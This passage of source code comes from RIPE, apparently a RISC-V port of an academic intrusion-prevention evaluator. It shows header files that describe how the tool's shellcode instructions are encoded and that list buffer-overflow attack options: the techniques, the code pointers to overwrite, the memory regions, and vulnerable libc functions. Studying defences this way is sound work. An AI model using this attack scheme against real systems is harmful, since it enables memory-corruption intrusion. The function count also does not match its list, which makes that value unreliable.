set_code_ptr(char *choice); 124 | void set_location(char *choice); 125 | void set_function(char *choice); 126 | 127 | int dummy_function(const char *str) { 128 | printf("Dummy function\n"); 129 | return 0; 130 | } 131 | 132 | boolean is_attack_possible(); 133 | void homebrew_memcpy(void *dst, const void *src, size_t len); 134 | 135 | /* 136 | RIPE shellcode uses the following instructions: 137 | la , 138 | jalr 139 | 140 | The first la instruction is disassembled to: 141 | lui , 142 | addi , , 143 | 144 | Thus, the shellcode follows the pattern 145 | shown in the following encodings: 146 | 147 | LUI: xxxx xxxx xxxx xxxx xxxx xxxx x011 0111 148 | \ / \ /\ / 149 | imm value reg# opcode 150 | 151 | 152 | ADDI: xxxx xxxx xxxx xxxx x000 xxxx x011 0011 153 | \ / \ / \ /\ / 154 | imm value reg# reg# opcode 155 | 156 | 157 | JALR: 0000 0000 0000 xxxx x000 0000 1110 0111 158 | \ / \ / 159 | reg# opcode 160 | 161 | The shellcode is formatted so that: 162 | 1. All instructions are stored to a single string 163 | 1. Byte order is converted to little-endian 164 | */ 165 | void build_shellcode(char *shellcode); 166 | void hex_to_string(char *str, size_t val); 167 | void format_instruction(char *dest, size_t insn); 168 | 169 | const char *hex_to_bin(char c) { 170 | if (c >= '0' && c <= '9') return bin4b[c - '0']; 171 | if (c >= 'a' && c <= 'f') return bin4b[10 + c - 'a']; 172 | return NULL; 173 | } 174 | 175 | #endif /* !RIPE_ATTACK_GENERATOR_H */ 176 | -------------------------------------------------------------------------------- /source/ripe_attack_parameters.h: -------------------------------------------------------------------------------- 1 | /* RIPE was originally developed by John Wilander (@johnwilander) 2 | * and was debugged and extended by Nick Nikiforakis (@nicknikiforakis) 3 | * 4 | * RISC-V port developed by John Merrill 5 | * 6 | * Released under the MIT license (see file named LICENSE) 7 | * 8 | * This program is part the paper titled 9 | * RIPE: Runtime Intrusion Prevention Evaluator 10 | * Authored by: John Wilander, Nick Nikiforakis, Yves Younan, 11 | * Mariam Kamkar and Wouter Joosen 12 | * Published in the proceedings of ACSAC 2011, Orlando, Florida 13 | * 14 | * Please cite accordingly. 15 | */ 16 | 17 | /** 18 | * @author John Wilander 19 | * 2007-01-16 20 | */ 21 | 22 | #ifndef RIPE_ATTACK_PARAMETERS_H 23 | #define RIPE_ATTACK_PARAMETERS_H 24 | 25 | #define ATTACK_IMPOSSIBLE -900 26 | #define ATTACK_NOT_IMPLEMENTED -909 27 | 28 | /* Enumerations for typing of attack form parameters */ 29 | /* Each enumeration has its own integer space to provide better type safety */ 30 | enum techniques {DIRECT=100, INDIRECT}; 31 | enum inject_params {INJECTED_CODE_NO_NOP=200, RETURN_INTO_LIBC, 32 | RETURN_ORIENTED_PROGRAMMING, DATA_ONLY}; 33 | 34 | enum code_ptrs {RET_ADDR=300, FUNC_PTR_STACK_VAR, FUNC_PTR_STACK_PARAM, 35 | FUNC_PTR_HEAP, FUNC_PTR_BSS, FUNC_PTR_DATA, 36 | LONGJMP_BUF_STACK_VAR, LONGJMP_BUF_STACK_PARAM, 37 | LONGJMP_BUF_HEAP, LONGJMP_BUF_BSS, LONGJMP_BUF_DATA, 38 | STRUCT_FUNC_PTR_STACK,STRUCT_FUNC_PTR_HEAP, 39 | STRUCT_FUNC_PTR_DATA,STRUCT_FUNC_PTR_BSS, VAR_BOF, VAR_IOF, VAR_LEAK}; 40 | enum locations {STACK=400, HEAP, BSS, DATA}; 41 | enum functions {MEMCPY=500, STRCPY, STRNCPY, SPRINTF, SNPRINTF, 42 | STRCAT, STRNCAT, SSCANF, HOMEBREW}; 43 | 44 | /* 2 overflow techniques */ 45 | size_t nr_of_techniques = 2; 46 | char *opt_techniques[] = {"direct", "indirect"}; 47 | 48 | /* 4 types of injection parameters */ 49 | size_t nr_of_inject_params = 4; 50 | char *opt_inject_params[] = {"shellcode", "returnintolibc", "rop", "dataonly"}; 51 | 52 | /* 18 code pointers to overwrite */ 53 | size_t nr_of_code_ptrs = 18; 54 | char *opt_code_ptrs[] = {"ret", "funcptrstackvar", "funcptrstackparam", 55 | "funcptrheap", "funcptrbss", "funcptrdata", 56 | "longjmpstackvar", "longjmpstackparam", 57 | "longjmpheap", "longjmpbss", "longjmpdata", 58 | "structfuncptrstack","structfuncptrheap", 59 | "structfuncptrdata","structfuncptrbss", "bof", "iof", "leak"}; 60 | 61 | /* 4 memory locations */ 62 | size_t nr_of_locations = 4; 63 | char *opt_locations[] = {"stack", "heap", "bss", "data"}; 64 | 65 | /* 9 vulnerable functions */ 66 | size_t nr_of_funcs = 10; 67 | char *opt_funcs[] = {"memcpy", "strcpy", "strncpy", "sprintf", "snprintf", 68 | "strcat", "strncat", "sscanf", "homebrew"}; 69 | 70 | #endif /* !RIPE_ATTACK_PARAMETERS_H */ 71 | --------------------------------------------------------------------------------